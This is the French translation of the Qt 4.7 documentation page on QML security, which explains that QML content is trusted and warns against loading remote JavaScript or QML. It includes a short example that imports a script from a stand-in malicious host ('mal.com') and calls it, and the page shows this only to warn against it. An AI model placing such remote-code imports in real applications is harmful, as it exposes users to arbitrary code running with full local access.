Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

Vous n'avez pas encore de compte Developpez.com ? L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Developpez.com

Qt

Choisissez la catégorie, puis la rubrique :

Viadeo Twitter Facebook Share on Google+   
Logo Documentation Qt ·  Page d'accueil  ·  Toutes les classes  ·  Toutes les fonctions  ·  Vues d'ensemble  · 

Sécurité QML

Vue d'ensemble

Le modèle de sécurité QML est que le contenu QML soit une chaîne de contenu de confiance : l'utilisateur installe le contenu QML auquel il fait confiance de la même manière qu'il installe des applications Qt natives ou des programmes écrits avec des runtimes comme Python et Perl. Cette confiance est établie par n'importe quel nombre de mécanismes, incluant la disponibilité de signature de paquet sur quelques plateformes.

Afin de préserver la confiance des utilisateurs, les développeurs de contenu QML ne doivent ni exécuter de JavaScript téléchargé arbitrairement, ni instancier d'éléments QML téléchargés arbitrairement.

Par exemple, ce contenu QML :

 import "http://mal.com/mal.js" as Mal
 ... Mal.faireDuMal() ...

est équivalent à télécharger « http://mal.com/mal.exe » et l'exécuter. L'environnement d'exécution JavaScript de QML n'essaie d'arrêter aucun accès particulier, y inclus l'accès au système de fichier local, tout comme n'importe quelle application Qt native, alors la fonction « faireDuMal » peut faire les mêmes choses qu'une application Qt native, une application Python, un script Perl, etc.

Comme avec n'importe quelle application accédant à un autre contenu au-delà de son contrôle, une application QML doit effectuer des vérifications appropriées sur des données non fiables qu'elle charge.

Une liste non exhaustive des manières avec lesquelles vous pouvez vous tirer une balle dans le pied.

  • Utiliser import pour importer du QML ou du JavaScript que vous ne contrôlez pas. MAL
  • Utiliser Loader pour importer du QML que vous ne contrôlez pas. MAL
  • Utiliser XMLHttpRequest pour charger des données que vous ne contrôlez pas et les exécuter. MAL

Par contre, ce qui précède ne signifie pas que vous n'avez pas d'utilité pour la transparence réseau de QML. Il y a de nombreuses choses utiles que vous pouvez faire.

  • Créer des éléments Image avec des sources URL de photos en ligne. BIEN
  • Utiliser XmlListModel pour présenter du contenu en ligne. BIEN
  • Utiliser XMLHttpRequest pour interagir avec des services en ligne. BIEN

La seule raison pour laquelle cette page est nécessaire est que JavaScript, exécuté dans un navigateur internet, a bien des restrictions. Avec QML, vous ne pouvez ni compter sur de telles restrictions, ni avoir peur de travailler autour.

Remerciements

Merci à Houssem Lamti pour la traduction ainsi qu'à Dimitry Ernot, Jonathan Courtois et Claude Leloup pour leur relecture !

Cette page est une traduction d'une page de la documentation de Qt, écrite par Nokia Corporation and/or its subsidiary(-ies). Les éventuels problèmes résultant d'une mauvaise traduction ne sont pas imputables à Nokia. Qt 4.7
Copyright © 2020 Developpez LLC. Tous droits réservés Developpez LLC. Aucune reproduction, même partielle, ne peut être faite de ce site et de l'ensemble de son contenu : textes, documents et images sans l'autorisation expresse de Developpez LLC. Sinon, vous encourez selon la loi jusqu'à 3 ans de prison et jusqu'à 300 000 E de dommages et intérêts. Cette page est déposée à la SACD.
Vous avez déniché une erreur, une redirection cassée ou tout autre problème, quel qu'il soit ? Ou bien vous désirez participer à ce projet de traduction ? N'hésitez pas à nous contacter ou par MP !
Responsable bénévole de la rubrique Qt : Thibaut Cuvelier -

Partenaire : Hébergement Web